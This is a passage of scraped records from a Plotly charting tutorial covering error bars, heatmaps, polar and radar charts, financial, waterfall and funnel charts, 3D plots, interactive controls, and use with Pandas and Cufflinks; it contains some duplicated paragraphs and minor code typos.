45013, "s": 44932, "text": "visible (boolean) − Determines whether or not this set of error bars is visible." }, { "code": null, "e": 45382, "s": 45013, "text": "Type property has possible values \"percent\" | \"constant\" | \"sqrt\" | \"data”. It sets the rule used to generate the error bars. If \"percent\", the bar lengths correspond to a percentage of underlying data. Set this percentage in `value`. If \"sqrt\", the bar lengths correspond to the square of the underlying data. If \"data\", the bar lengths are set with data set `array`." }, { "code": null, "e": 45565, "s": 45382, "text": "symmetric property can be true or false. Accordingly, the error bars will have the same length in both direction or not (top/bottom for vertical bars, left/right for horizontal bars." }, { "code": null, "e": 45748, "s": 45565, "text": "symmetric property can be true or false. Accordingly, the error bars will have the same length in both direction or not (top/bottom for vertical bars, left/right for horizontal bars." }, { "code": null, "e": 45866, "s": 45748, "text": "array − sets the data corresponding the length of each error bar. Values are plotted relative to the underlying data." }, { "code": null, "e": 45984, "s": 45866, "text": "array − sets the data corresponding the length of each error bar. Values are plotted relative to the underlying data." }, { "code": null, "e": 46168, "s": 45984, "text": "arrayminus − Sets the data corresponding the length of each error bar in the bottom (left) direction for vertical (horizontal) bars Values are plotted relative to the underlying data." }, { "code": null, "e": 46352, "s": 46168, "text": "arrayminus − Sets the data corresponding the length of each error bar in the bottom (left) direction for vertical (horizontal) bars Values are plotted relative to the underlying data." }, { "code": null, "e": 46417, "s": 46352, "text": "Following code displays symmetric error bars on a scatter plot −" }, { "code": null, "e": 46717, "s": 46417, "text": "trace = go.Scatter(\n x = [0, 1, 2], y = [6, 10, 2],\n error_y = dict(\n type = 'data', # value of error bar given in data coordinates\n array = [1, 2, 3], visible = True)\n)\ndata = [trace]\nlayout = go.Layout(title = 'Symmetric Error Bar')\nfig = go.Figure(data = data, layout = layout)\niplot(fig)" }, { "code": null, "e": 46769, "s": 46717, "text": "Given below is the output of the above stated code." }, { "code": null, "e": 46825, "s": 46769, "text": "Asymmetric error plot is rendered by following script −" }, { "code": null, "e": 47158, "s": 46825, "text": "trace = go.Scatter(\n x = [1, 2, 3, 4], \n y =[ 2, 1, 3, 4],\n error_y = dict(\n type = 'data',\n symmetric = False,\n array = [0.1, 0.2, 0.1, 0.1], \n arrayminus = [0.2, 0.4, 1, 0.2]\n )\n)\ndata = [trace]\nlayout = go.Layout(title = 'Asymmetric Error Bar')\nfig = go.Figure(data = data, layout = layout)\niplot(fig)" }, { "code": null, "e": 47201, "s": 47158, "text": "The output of the same is as given below −" }, { "code": null, "e": 47531, "s": 47201, "text": "A heat map (or heatmap) is a graphical representation of data where the individual values contained in a matrix are represented as colors. The primary purpose of Heat Maps is to better visualize the volume of locations/events within a dataset and assist in directing viewers towards areas on data visualizations that matter most." }, { "code": null, "e": 47861, "s": 47531, "text": "Because of their reliance on color to communicate values, Heat Maps are perhaps most commonly used to display a more generalized view of numeric values. Heat Maps are extremely versatile and efficient in drawing attention to trends, and it’s for these reasons they have become increasingly popular within the analytics community." }, { "code": null, "e": 48158, "s": 47861, "text": "Heat Maps are innately self-explanatory. The darker the shade, the greater the quantity (the higher the value, the tighter the dispersion, etc.). Plotly’s graph_objects module contains Heatmap() function. It needs x, y and z attributes. Their value can be a list, numpy array or Pandas dataframe." }, { "code": null, "e": 48376, "s": 48158, "text": "In the following example, we have a 2D list or array which defines the data (harvest by different farmers in tons/year) to color code. We then also need two lists of names of farmers and vegetables cultivated by them." }, { "code": null, "e": 49151, "s": 48376, "text": "vegetables = [\n \"cucumber\", \n \"tomato\", \n \"lettuce\", \n \"asparagus\",\n \"potato\", \n \"wheat\", \n \"barley\"\n]\nfarmers = [\n \"Farmer Joe\", \n \"Upland Bros.\", \n \"Smith Gardening\",\n \"Agrifun\", \n \"Organiculture\", \n \"BioGoods Ltd.\", \n \"Cornylee Corp.\"\n]\nharvest = np.array(\n [\n [0.8, 2.4, 2.5, 3.9, 0.0, 4.0, 0.0],\n [2.4, 0.0, 4.0, 1.0, 2.7, 0.0, 0.0],\n [1.1, 2.4, 0.8, 4.3, 1.9, 4.4, 0.0],\n [0.6, 0.0, 0.3, 0.0, 3.1, 0.0, 0.0],\n [0.7, 1.7, 0.6, 2.6, 2.2, 6.2, 0.0],\n [1.3, 1.2, 0.0, 0.0, 0.0, 3.2, 5.1],\n [0.1, 2.0, 0.0, 1.4, 0.0, 1.9, 6.3]\n ]\n)\ntrace = go.Heatmap(\n x = vegetables,\n y = farmers,\n z = harvest,\n type = 'heatmap',\n colorscale = 'Viridis'\n)\ndata = [trace]\nfig = go.Figure(data = data)\niplot(fig)" }, { "code": null, "e": 49212, "s": 49151, "text": "The output of the above mentioned code is given as follows −" }, { "code": null, "e": 49309, "s": 49212, "text": "In this chapter, we will learn how Polar Chart and Radar Chart can be made with the help Plotly." }, { "code": null, "e": 49355, "s": 49309, "text": "First of all, let us study about polar chart." }, { "code": null, "e": 49524, "s": 49355, "text": "Polar Chart is a common variation of circular graphs. It is useful when relationships between data points can be visualized most easily in terms of radiuses and angles." }, { "code": null, "e": 49784, "s": 49524, "text": "In Polar Charts, a series is represented by a closed curve that connect points in the polar coordinate system. Each data point is determined by the distance from the pole (the radial coordinate) and the angle from the fixed direction (the angular coordinate)." }, { "code": null, "e": 50056, "s": 49784, "text": "A polar chart represents data along radial and angular axes. The radial and angular coordinates are given with the r and theta arguments for go.Scatterpolar() function. The theta data can be categorical, but, numerical data are possible too and is the most commonly used." }, { "code": null, "e": 50246, "s": 50056, "text": "Following code produces a basic polar chart. In addition to r and theta arguments, we set mode to lines (it can be set to markers well in which case only the data points will be displayed)." }, { "code": null, "e": 50533, "s": 50246, "text": "import numpy as np\nr1 = [0,6,12,18,24,30,36,42,48,54,60]\nt1 = [1,0.995,0.978,0.951,0.914,0.866,0.809,0.743,0.669,0.588,0.5]\ntrace = go.Scatterpolar(\n r = [0.5,1,2,2.5,3,4],\n theta = [35,70,120,155,205,240],\n mode = 'lines',\n)\ndata = [trace]\nfig = go.Figure(data = data)\niplot(fig)" }, { "code": null, "e": 50561, "s": 50533, "text": "The output is given below −" }, { "code": null, "e": 50710, "s": 50561, "text": "In the following example data from a comma-separated values (CSV) file is used to generate polar chart. First few rows of polar.csv are as follows −" }, { "code": null, "e": 51072, "s": 50710, "text": "y,x1,x2,x3,x4,x5,\n0,1,1,1,1,1,\n6,0.995,0.997,0.996,0.998,0.997,\n12,0.978,0.989,0.984,0.993,0.986,\n18,0.951,0.976,0.963,0.985,0.969,\n24,0.914,0.957,0.935,0.974,0.946,\n30,0.866,0.933,0.9,0.96,0.916,\n36,0.809,0.905,0.857,0.943,0.88,\n42,0.743,0.872,0.807,0.923,0.838,\n48,0.669,0.835,0.752,0.901,0.792,\n54,0.588,0.794,0.691,0.876,0.74,\n60,0.5,0.75,0.625,0.85,0.685,\n" }, { "code": null, "e": 51159, "s": 51072, "text": "Enter the following script in notebook’s input cell to generate polar chart as below −" }, { "code": null, "e": 51525, "s": 51159, "text": "import pandas as pd\ndf = pd.read_csv(\"polar.csv\")\nt1 = go.Scatterpolar(\n r = df['x1'], theta = df['y'], mode = 'lines', name = 't1'\n)\nt2 = go.Scatterpolar(\n r = df['x2'], theta = df['y'], mode = 'lines', name = 't2'\n)\nt3 = go.Scatterpolar(\n r = df['x3'], theta = df['y'], mode = 'lines', name = 't3'\n)\ndata = [t1,t2,t3]\nfig = go.Figure(data = data)\niplot(fig)" }, { "code": null, "e": 51581, "s": 51525, "text": "Given below is the output of the above mentioned code −" }, { "code": null, "e": 51851, "s": 51581, "text": "A Radar Chart (also known as a spider plot or star plot) displays multivariate data in the form of a two-dimensional chart of quantitative variables represented on axes originating from the center. The relative position and angle of the axes is typically uninformative." }, { "code": null, "e": 51974, "s": 51851, "text": "For a Radar Chart, use a polar chart with categorical angular variables in go.Scatterpolar() function in the general case." }, { "code": null, "e": 52048, "s": 51974, "text": "Following code renders a basic radar chart with Scatterpolar() function −" }, { "code": null, "e": 52331, "s": 52048, "text": "radar = go.Scatterpolar(\n r = [1, 5, 2, 2, 3],\n theta = [\n 'processing cost',\n 'mechanical properties',\n 'chemical stability', \n 'thermal stability',\n 'device integration'\n ],\n fill = 'toself'\n)\ndata = [radar]\nfig = go.Figure(data = data)\niplot(fig)" }, { "code": null, "e": 52396, "s": 52331, "text": "The below mentioned output is a result of the above given code −" }, { "code": null, "e": 52535, "s": 52396, "text": "This chapter focusses on other three types of charts including OHLC, Waterfall and Funnel Chart which can be made with the help of Plotly." }, { "code": null, "e": 52919, "s": 52535, "text": "An open-high-low-close chart (also OHLC) is a type of bar chart typically used to illustrate movements in the price of a financial instrument such as shares. OHLC charts are useful since they show the four major data points over a period. The chart type is useful because it can show increasing or decreasing momentum. The high and low data points are useful in assessing volatility." }, { "code": null, "e": 53270, "s": 52919, "text": "Each vertical line on the chart shows the price range (the highest and lowest prices) over one unit of time, such as day or hour. Tick marks project from each side of the line indicating the opening price (e.g., for a daily bar chart this would be the starting price for that day) on the left, and the closing price for that time period on the right." }, { "code": null, "e": 53544, "s": 53270, "text": "Sample data for demonstration of OHLC chart is shown below. It has list objects corresponding to high, low, open and close values as on corresponding date strings. The date representation of string is converted to date object by using strtp() function from datetime module." }, { "code": null, "e": 53915, "s": 53544, "text": "open_data = [33.0, 33.3, 33.5, 33.0, 34.1]\nhigh_data = [33.1, 33.3, 33.6, 33.2, 34.8]\nlow_data = [32.7, 32.7, 32.8, 32.6, 32.8]\nclose_data = [33.0, 32.9, 33.3, 33.1, 33.1]\ndate_data = ['10-10-2013', '11-10-2013', '12-10-2013','01-10-2014','02-10-2014']\nimport datetime\ndates = [\n datetime.datetime.strptime(date_str, '%m-%d-%Y').date() \n for date_str in date_data\n]\n" }, { "code": null, "e": 54073, "s": 53915, "text": "We have to use above dates object as x parameter and others for open, high, low and close parameters required for go.Ohlc() function that returns OHLC trace." }, { "code": null, "e": 54248, "s": 54073, "text": "trace = go.Ohlc(\n x = dates, \n open = open_data, \n high = high_data,\n low = low_data, \n close = close_data\n)\ndata = [trace]\nfig = go.Figure(data = data)\niplot(fig)\n" }, { "code": null, "e": 54288, "s": 54248, "text": "The output of the code is given below −" }, { "code": null, "e": 54635, "s": 54288, "text": "The candlestick chart is similar to OHLC chart. It is like a combination of line-chart and a bar-chart. The boxes represent the spread between the open and close values and the lines represent the spread between the low and high values. Sample points where the close value is higher (lower) then the open value are called increasing (decreasing)." }, { "code": null, "e": 54778, "s": 54635, "text": "Candlestrick trace is returned by go.Candlestick() function. We use same data (as for OHLC chart) to render candlestick chart as given below −" }, { "code": null, "e": 54904, "s": 54778, "text": "trace = go.Candlestick(\n x = dates, \n open = open_data, \n high = high_data,\n low = low_data, \n close = close_data\n)" }, { "code": null, "e": 54956, "s": 54904, "text": "Output of the above given code is mentioned below −" }, { "code": null, "e": 55175, "s": 54956, "text": "A waterfall chart (also known as flying bricks chart or Mario chart) helps in understanding the cumulative effect of sequentially introduced positive or negative values which can either be time based or category based." }, { "code": null, "e": 55401, "s": 55175, "text": "Initial and final values are shown as columns with the individual negative and positive adjustments depicted as floating steps. Some waterfall charts connect the lines between the columns to make the chart look like a bridge." }, { "code": null, "e": 55688, "s": 55401, "text": "go.Waterfall() function returns a Waterfall trace. This object can be customized by various named arguments or attributes. Here, x and y attributes set up data for x and y coordinates of the graph. Both can be a Python list, numpy array or Pandas series or strings or date time objects." }, { "code": null, "e": 56034, "s": 55688, "text": "Another attribute is measure which is an array containing types of values. By default, the values are considered as relative. Set it to 'total' to compute the sums. If it is equal to absolute it resets the computed total or to declare an initial value where needed. The 'base' attribute sets where the bar base is drawn (in position axis units)." }, { "code": null, "e": 56077, "s": 56034, "text": "Following code renders a waterfall chart −" }, { "code": null, "e": 56468, "s": 56077, "text": "s1=[\n \"Sales\", \n \"Consulting\", \n \"Net revenue\", \n \"Purchases\", \n \"Other expenses\", \n \"Profit before tax\"\n]\ns2 = [60, 80, 0, -40, -20, 0]\ntrace = go.Waterfall(\n x = s1,\n y = s2,\n base = 200,\n measure = [\n \"relative\", \n \"relative\", \n \"total\", \n \"relative\", \n \"relative\", \n \"total\"\n ]\n)\ndata = [trace]\nfig = go.Figure(data = data)\niplot(fig)" }, { "code": null, "e": 56528, "s": 56468, "text": "Below mentioned output is a result of the code given above." }, { "code": null, "e": 56896, "s": 56528, "text": "Funnel charts represent data in different stages of a business process. It is an important mechanism in Business Intelligence to identify potential problem areas of a process. Funnel chart is used to visualize how data reduces progressively as it passes from one phase to another. Data in each of these phases is represented as different portions of 100% (the whole)." }, { "code": null, "e": 57211, "s": 56896, "text": "Like the Pie chart, the Funnel chart does not use any axes either. It can also be treated as similar to a stacked percent bar chart. Any funnel consists of the higher part called head (or base) and the lower part referred to as neck. The most common use of the Funnel chart is in visualizing sales conversion data." }, { "code": null, "e": 57391, "s": 57211, "text": "Plotly's go.Funnel() function produces Funnel trace. Essential attributes to be provided to this function are x and y. Each of them is assigned a Python list of items or an array." }, { "code": null, "e": 57670, "s": 57391, "text": "from plotly import graph_objects as go\nfig = go.Figure(\n go.Funnel(\n y = [\n \"Website visit\", \n \"Downloads\", \n \"Potential customers\", \n \"Requested price\", \n \"invoice sent\"\n ],\n x = [39, 27.4, 20.6, 11, 2]\n )\n)\nfig.show()" }, { "code": null, "e": 57701, "s": 57670, "text": "The output is as given below −" }, { "code": null, "e": 57848, "s": 57701, "text": "This chapter will give information about the three-dimensional (3D) Scatter Plot and 3D Surface Plot and how to make them with the help of Plotly." }, { "code": null, "e": 58247, "s": 57848, "text": "A three-dimensional (3D) scatter plot is like a scatter plot, but with three variables - x, y, and z or f(x, y) are real numbers. The graph can be represented as dots in a three-dimensional Cartesian coordinate system. It is typically drawn on a two-dimensional page or screen using perspective methods (isometric or perspective), so that one of the dimensions appears to be coming out of the page." }, { "code": null, "e": 58506, "s": 58247, "text": "3D scatter plots are used to plot data points on three axes in an attempt to show the relationship between three variables. Each row in the data table is represented by a marker whose position depends on its values in the columns set on the X, Y, and Z axes." }, { "code": null, "e": 58702, "s": 58506, "text": "A fourth variable can be set to correspond to the color or size of the markers, thus, adding yet another dimension to the plot. The relationship between different variables is called correlation." }, { "code": null, "e": 58867, "s": 58702, "text": "A Scatter3D trace is a graph object returned by go.Scatter3D() function. Mandatory arguments to this function are x, y and z each of them is a list or array object." }, { "code": null, "e": 58881, "s": 58867, "text": "For example −" }, { "code": null, "e": 59293, "s": 58881, "text": "import plotly.graph_objs as go\nimport numpy as np\nz = np.linspace(0, 10, 50)\nx = np.cos(z)\ny = np.sin(z)\ntrace = go.Scatter3d(\n x = x, y = y, z = z,mode = 'markers', marker = dict(\n size = 12,\n color = z, # set color to an array/list of desired values\n colorscale = 'Viridis'\n )\n )\nlayout = go.Layout(title = '3D Scatter plot')\nfig = go.Figure(data = [trace], layout = layout)\niplot(fig)" }, { "code": null, "e": 59333, "s": 59293, "text": "The output of the code is given below −" }, { "code": null, "e": 59723, "s": 59333, "text": "Surface plots are diagrams of three-dimensional data. In a surface plot, each point is defined by 3 points: its latitude, longitude, and altitude (X, Y and Z). Rather than showing the individual data points, surface plots show a functional relationship between a designated dependent variable (Y), and two independent variables (X and Z). This plot is a companion plot to the contour plot." }, { "code": null, "e": 59844, "s": 59723, "text": "Here, is a Python script to render simple surface plot where y array is transpose of x and z is calculated as cos(x2+y2)" }, { "code": null, "e": 60109, "s": 59844, "text": "import numpy as np\nx = np.outer(np.linspace(-2, 2, 30), np.ones(30))\ny = x.copy().T # transpose\nz = np.cos(x ** 2 + y ** 2)\ntrace = go.Surface(x = x, y = y, z =z )\ndata = [trace]\nlayout = go.Layout(title = '3D Surface plot')\nfig = go.Figure(data = data)\niplot(fig)" }, { "code": null, "e": 60178, "s": 60109, "text": "Below mentioned is the output of the code which is explained above −" }, { "code": null, "e": 60473, "s": 60178, "text": "Plotly provides high degree of interactivity by use of different controls on the plotting area – such as buttons, dropdowns and sliders etc. These controls are incorporated with updatemenu attribute of the plot layout. You can add button and its behaviour by specifying the method to be called." }, { "code": null, "e": 60555, "s": 60473, "text": "There are four possible methods that can be associated with a button as follows −" }, { "code": null, "e": 60596, "s": 60555, "text": "restyle − modify data or data attributes" }, { "code": null, "e": 60637, "s": 60596, "text": "restyle − modify data or data attributes" }, { "code": null, "e": 60673, "s": 60637, "text": "relayout − modify layout attributes" }, { "code": null, "e": 60709, "s": 60673, "text": "relayout − modify layout attributes" }, { "code": null, "e": 60752, "s": 60709, "text": "update − modify data and layout attributes" }, { "code": null, "e": 60795, "s": 60752, "text": "update − modify data and layout attributes" }, { "code": null, "e": 60833, "s": 60795, "text": "animate − start or pause an animation" }, { "code": null, "e": 60871, "s": 60833, "text": "animate − start or pause an animation" }, { "code": null, "e": 61069, "s": 60871, "text": "The restyle method should be used when modifying the data and data attributes of the graph. In the following example, two buttons are added by Updatemenu() method to the layout with restyle method." }, { "code": null, "e": 61292, "s": 61069, "text": "go.layout.Updatemenu(\ntype = \"buttons\",\ndirection = \"left\",\nbuttons = list([\n dict(args = [\"type\", \"box\"], label = \"Box\", method = \"restyle\"),\n dict(args = [\"type\", \"violin\"], label = \"Violin\", method = \"restyle\" )]\n))" }, { "code": null, "e": 61573, "s": 61292, "text": "Value of type property is buttons by default. To render a dropdown list of buttons, change type to dropdown. A Box trace added to Figure object before updating its layout as above. The complete code that renders boxplot and violin plot depending on button clicked, is as follows −" }, { "code": null, "e": 62195, "s": 61573, "text": "import plotly.graph_objs as go\nfig = go.Figure()\nfig.add_trace(go.Box(y = [1140,1460,489,594,502,508,370,200]))\nfig.layout.update(\n updatemenus = [\n go.layout.Updatemenu(\n type = \"buttons\", direction = \"left\", buttons=list(\n [\n dict(args = [\"type\", \"box\"], label = \"Box\", method = \"restyle\"),\n dict(args = [\"type\", \"violin\"], label = \"Violin\", method = \"restyle\")\n ]\n ),\n pad = {\"r\": 2, \"t\": 2},\n showactive = True,\n x = 0.11,\n xanchor = \"left\",\n y = 1.1,\n yanchor = \"top\"\n ), \n ]\n)\niplot(fig)" }, { "code": null, "e": 62235, "s": 62195, "text": "The output of the code is given below −" }, { "code": null, "e": 62296, "s": 62235, "text": "Click on Violin button to display corresponding Violin plot." }, { "code": null, "e": 62443, "s": 62296, "text": "As mentioned above, value of type key in Updatemenu() method is assigned dropdown to display dropdown list of buttons. The plot appears as below −" }, { "code": null, "e": 62871, "s": 62443, "text": "The update method should be used when modifying the data and layout sections of the graph. Following example demonstrates how to update and which traces are displayed while simultaneously updating layout attributes, such as, the chart title. Two Scatter traces corresponding to sine and cos wave are added to Figure object. The trace with visible attribute as True will be displayed on the plot and other traces will be hidden." }, { "code": null, "e": 63764, "s": 62871, "text": "import numpy as np\nimport math #needed for definition of pi\n\nxpoints = np.arange(0, math.pi*2, 0.05)\ny1 = np.sin(xpoints)\ny2 = np.cos(xpoints)\nfig = go.Figure()\n# Add Traces\nfig.add_trace(\n go.Scatter(\n x = xpoints, y = y1, name = 'Sine'\n )\n)\nfig.add_trace(\n go.Scatter(\n x = xpoints, y = y2, name = 'cos'\n )\n)\nfig.layout.update(\n updatemenus = [\n go.layout.Updatemenu(\n type = \"buttons\", direction = \"right\", active = 0, x = 0.1, y = 1.2,\n buttons = list(\n [\n dict(\n label = \"first\", method = \"update\",\n args = [{\"visible\": [True, False]},{\"title\": \"Sine\"} ]\n ),\n dict(\n label = \"second\", method = \"update\", \n args = [{\"visible\": [False, True]},{\"title\": Cos\"}]\n )\n ]\n )\n )\n ]\n)\niplot(fig)" }, { "code": null, "e": 63853, "s": 63764, "text": "Initially, Sine curve will be displayed. If clicked on second button, cos trace appears." }, { "code": null, "e": 63901, "s": 63853, "text": "Note that chart title also updates accordingly." }, { "code": null, "e": 64176, "s": 63901, "text": "In order to use animate method, we need to add one or more Frames to the Figure object. Along with data and layout, frames can be added as a key in a figure object. The frames key points to a list of figures, each of which will be cycled through when animation is triggered." }, { "code": null, "e": 64290, "s": 64176, "text": "You can add, play and pause buttons to introduce animation in chart by adding an updatemenus array to the layout." }, { "code": null, "e": 64421, "s": 64290, "text": "\"updatemenus\": [{\n \"type\": \"buttons\", \"buttons\": [{\n \"label\": \"Your Label\", \"method\": \"animate\", \"args\": [frames]\n }]\n}]\n" }, { "code": null, "e": 64678, "s": 64421, "text": "In the following example, a scatter curve trace is first plotted. Then add frames which is a list of 50 Frame objects, each representing a red marker on the curve. Note that the args attribute of button is set to None, due to which all frames are animated." }, { "code": null, "e": 65719, "s": 64678, "text": "import numpy as np\nt = np.linspace(-1, 1, 100)\nx = t + t ** 2\ny = t - t ** 2\nxm = np.min(x) - 1.5\nxM = np.max(x) + 1.5\nym = np.min(y) - 1.5\nyM = np.max(y) + 1.5\nN = 50\ns = np.linspace(-1, 1, N)\n#s = np.arange(0, math.pi*2, 0.1)\nxx = s + s ** 2\nyy = s - s ** 2\nfig = go.Figure(\n data = [\n go.Scatter(x = x, y = y, mode = \"lines\", line = dict(width = 2, color = \"blue\")),\n go.Scatter(x = x, y = y, mode = \"lines\", line = dict(width = 2, color = \"blue\"))\n ],\n layout = go.Layout(\n xaxis=dict(range=[xm, xM], autorange=False, zeroline=False),\n yaxis=dict(range=[ym, yM], autorange=False, zeroline=False),\n title_text=\"Moving marker on curve\",\n updatemenus=[\n dict(type=\"buttons\", buttons=[dict(label=\"Play\", method=\"animate\", args=[None])])\n ]\n ),\n frames = [go.Frame(\n data = [\n go.Scatter(\n x = [xx[k]], y = [yy[k]], mode = \"markers\", marker = dict(\n color = \"red\", size = 10\n )\n )\n ]\n )\n for k in range(N)]\n)\niplot(fig)" }, { "code": null, "e": 65760, "s": 65719, "text": "The output of the code is stated below −" }, { "code": null, "e": 65834, "s": 65760, "text": "The red marker will start moving along the curve on clicking play button." }, { "code": null, "e": 66006, "s": 65834, "text": "Plotly has a convenient Slider that can be used to change the view of data/style of a plot by sliding a knob on the control which is placed at the bottom of rendered plot." }, { "code": null, "e": 66079, "s": 66006, "text": "Slider control is made up of different properties which are as follows −" }, { "code": null, "e": 66163, "s": 66079, "text": "steps property is required for defining sliding positions of knob over the control." }, { "code": null, "e": 66247, "s": 66163, "text": "steps property is required for defining sliding positions of knob over the control." }, { "code": null, "e": 66358, "s": 66247, "text": "method property is having possible values as restyle | relayout | animate | update | skip, default is restyle." }, { "code": null, "e": 66469, "s": 66358, "text": "method property is having possible values as restyle | relayout | animate | update | skip, default is restyle." }, { "code": null, "e": 66567, "s": 66469, "text": "args property sets the arguments values to be passed to the Plotly method set in method on slide." }, { "code": null, "e": 66665, "s": 66567, "text": "args property sets the arguments values to be passed to the Plotly method set in method on slide." }, { "code": null, "e": 66948, "s": 66665, "text": "We now deploy a simple slider control on a scatter plot which will vary the frequency of sine wave as the knob slides along the control. The slider is configured to have 50 steps. First add 50 traces of sine wave curve with incrementing frequency, all but 10th trace set to visible." }, { "code": null, "e": 67143, "s": 66948, "text": "Then, we configure each step with restyle method. For each step, all other step objects have visibility set to false. Finally, update Figure objectâ€TMs layout by initializing sliders property." }, { "code": null, "e": 67788, "s": 67143, "text": "# Add traces, one for each slider step\nfor step in np.arange(0, 5, 0.1):\nfig.add_trace(\n go.Scatter(\n visible = False,\n line = dict(color = \"blue\", width = 2),\n name = \"𝜈 = \" + str(step),\n x = np.arange(0, 10, 0.01),\n y = np.sin(step * np.arange(0, 10, 0.01))\n )\n)\nfig.data[10].visible=True\n\n# Create and add slider\nsteps = []\nfor i in range(len(fig.data)):\nstep = dict(\n method = \"restyle\",\n args = [\"visible\", [False] * len(fig.data)],\n)\nstep[\"args\"][1][i] = True # Toggle i'th trace to \"visible\"\nsteps.append(step)\nsliders = [dict(active = 10, steps = steps)]\nfig.layout.update(sliders=sliders)\niplot(fig)" }, { "code": null, "e": 67959, "s": 67788, "text": "To begin with, 10th sine wave trace will be visible. Try sliding the knob across the horizontal control at the bottom. You will see the frequency changing as shown below." }, { "code": null, "e": 68176, "s": 67959, "text": "Plotly 3.0.0 introduces a new Jupyter widget class: plotly.graph_objs.FigureWidget. It has the same call signature as our existing Figure, and it is made specifically for Jupyter Notebook and JupyterLab environments." }, { "code": null, "e": 68270, "s": 68176, "text": "The go.FigureWiget() function returns an empty FigureWidget object with default x and y axes." }, { "code": null, "e": 68302, "s": 68270, "text": "f = go.FigureWidget()\niplot(f)\n" }, { "code": null, "e": 68342, "s": 68302, "text": "Given below is the output of the code −" }, { "code": null, "e": 68503, "s": 68342, "text": "Most important feature of FigureWidget is the resulting Plotly figure and it is dynamically updatable as we go on adding data and other layout attributes to it." }, { "code": null, "e": 68772, "s": 68503, "text": "For example, add following graph traces one by one and see the original empty figure dynamically updated. That means we don’t have to call iplot() function again and again as the plot is refreshed automatically. Final appearance of the FigureWidget is as shown below −" }, { "code": null, "e": 68873, "s": 68772, "text": "f.add_scatter(y = [2, 1, 4, 3]);\nf.add_bar(y = [1, 4, 3, 2]);\nf.layout.title = 'Hello FigureWidget'\n" }, { "code": null, "e": 68986, "s": 68873, "text": "This widget is capable of event listeners for hovering, clicking, and selecting points and zooming into regions." }, { "code": null, "e": 69208, "s": 68986, "text": "In following example, the FigureWidget is programmed to respond to click event on plot area. The widget itself contains a simple scatter plot with markers. The mouse click location is marked with different color and size." }, { "code": null, "e": 69699, "s": 69208, "text": "x = np.random.rand(100)\ny = np.random.rand(100)\nf = go.FigureWidget([go.Scatter(x=x, y=y, mode='markers')])\n\nscatter = f.data[0]\ncolors = ['#a3a7e4'] * 100\n\nscatter.marker.color = colors\nscatter.marker.size = [10] * 100\nf.layout.hovermode = 'closest'\ndef update_point(trace, points, selector):\n\nc = list(scatter.marker.color)\ns = list(scatter.marker.size)\nfor i in points.point_inds:\n\nc[i] = 'red'\ns[i] = 20\n\nscatter.marker.color = c\nscatter.marker.size = s\nscatter.on_click(update_point)\nf" }, { "code": null, "e": 69833, "s": 69699, "text": "Run above code in Jupyter notebook. A scatter plot is displayed. Click on a location in the area which will be markd with red colour." }, { "code": null, "e": 70033, "s": 69833, "text": "Plotly’s FigureWidget object can also make use of Ipython’s own widgets. Here, we use interact control as defined in ipwidgets module. We first construct a FigureWidget and add an empty scatter plot." }, { "code": null, "e": 70119, "s": 70033, "text": "from ipywidgets import interact\nfig = go.FigureWidget()\nscatt = fig.add_scatter()\nfig" }, { "code": null, "e": 70567, "s": 70119, "text": "We now define an update function that inputs the frequency and phase and sets the x and y properties of the scatter trace defined above. The @interact decorator from ipywidgets module is used to create a simple set of widgets to control the parameters of a plot. The update function is decorated with @interact decorator from the ipywidgets package. The decorator parameters are used to specify the ranges of parameters that we want to sweep over." }, { "code": null, "e": 70816, "s": 70567, "text": "xs = np.linspace(0, 6, 100)\n@interact(a = (1.0, 4.0, 0.01), b = (0, 10.0, 0.01), color = ['red', 'green', 'blue'])\ndef update(a = 3.6, b = 4.3, color = 'blue'):\nwith fig.batch_update():\nscatt.x = xs\nscatt.y = np.sin(a*xs-b)\nscatt.line.color = color" }, { "code": null, "e": 71123, "s": 70816, "text": "Empty FigureWidget is now populated in blue colour with sine curve a and b as 3.6 and 4.3 respectively. Below the current notebook cell, you will get a group of sliders for selecting values of a and b. There is also a dropdown to select the trace color. These parameters are defined in @interact decorator." }, { "code": null, "e": 71392, "s": 71123, "text": "Pandas is a very popular library in Python for data analysis. It also has its own plot function support. However, Pandas plots don't provide interactivity in visualization. Thankfully, plotly's interactive and dynamic plots can be built using Pandas dataframe objects." }, { "code": null, "e": 71451, "s": 71392, "text": "We start by building a Dataframe from simple list objects." }, { "code": null, "e": 71611, "s": 71451, "text": "data = [['Ravi',21,67],['Kiran',24,61],['Anita',18,46],['Smita',20,78],['Sunil',17,90]]\ndf = pd.DataFrame(data,columns = ['name','age','marks'],dtype = float)\n" }, { "code": null, "e": 71769, "s": 71611, "text": "The dataframe columns are used as data values for x and y properties of graph object traces. Here, we will generate a bar trace using name and marks columns." }, { "code": null, "e": 71855, "s": 71769, "text": "trace = go.Bar(x = df.name, y = df.marks)\nfig = go.Figure(data = [trace])\niplot(fig)\n" }, { "code": null, "e": 71922, "s": 71855, "text": "A simple bar plot will be displayed in Jupyter notebook as below −" }, { "code": null, "e": 72082, "s": 71922, "text": "Plotly is built on top of d3.js and is specifically a charting library which can be used directly with Pandas dataframes using another library named Cufflinks." }, { "code": null, "e": 72200, "s": 72082, "text": "If not already available, install cufflinks package by using your favourite package manager like pip as given below −" }, { "code": null, "e": 72268, "s": 72200, "text": "pip install cufflinks\nor\nconda install -c conda-forge cufflinks-py\n" }, { "code": null, "e": 72384, "s": 72268, "text": "First, import cufflinks along with other libraries such as Pandas and numpy which can configure it for offline use." }, { "code": null, "e": 72424, "s": 72384, "text": "import cufflinks as cf\ncf.go_offline()\n" }, { "code": null, "e": 72605, "s": 72424, "text": "Now, you can directly use Pandas dataframe to display various kinds of plots without having to use trace and figure objects from graph_objs module as we have been doing previously." }, { "code": null, "e": 72654, "s": 72605, "text": "df.iplot(kind = 'bar', x = 'name', y = 'marks')\n" }, { "code": null, "e": 72727, "s": 72654, "text": "Bar plot, very similar to earlier one will be displayed as given below −" }, { "code": null, "e": 73058, "s": 72727, "text": "Instead of using Python lists for constructing dataframe, it can be populated by data in different types of databases. For example, data from a CSV file, SQLite database table or mysql database table can be fetched into a Pandas dataframe, which eventually is subjected to plotly graphs using Figure object or Cufflinks interface." }, { "code": null, "e": 73139, "s": 73058, "text": "To fetch data from CSV file, we can use read_csv() function from Pandas library." }, { "code": null, "e": 73195, "s": 73139, "text": "import pandas as pd\ndf = pd.read_csv('sample-data.csv')" }, { "code": null, "e": 73300, "s": 73195, "text": "If data is available in SQLite database table, it can be retrieved using SQLAlchemy library as follows −" }, { "code": null, "e": 73467, "s": 73300, "text": "import pandas as pd\nfrom sqlalchemy import create_engine\ndisk_engine = create_engine('sqlite:///mydb.db')\ndf = pd.read_sql_query('SELECT name,age,marks', disk_engine)" }, { "code": null, "e": 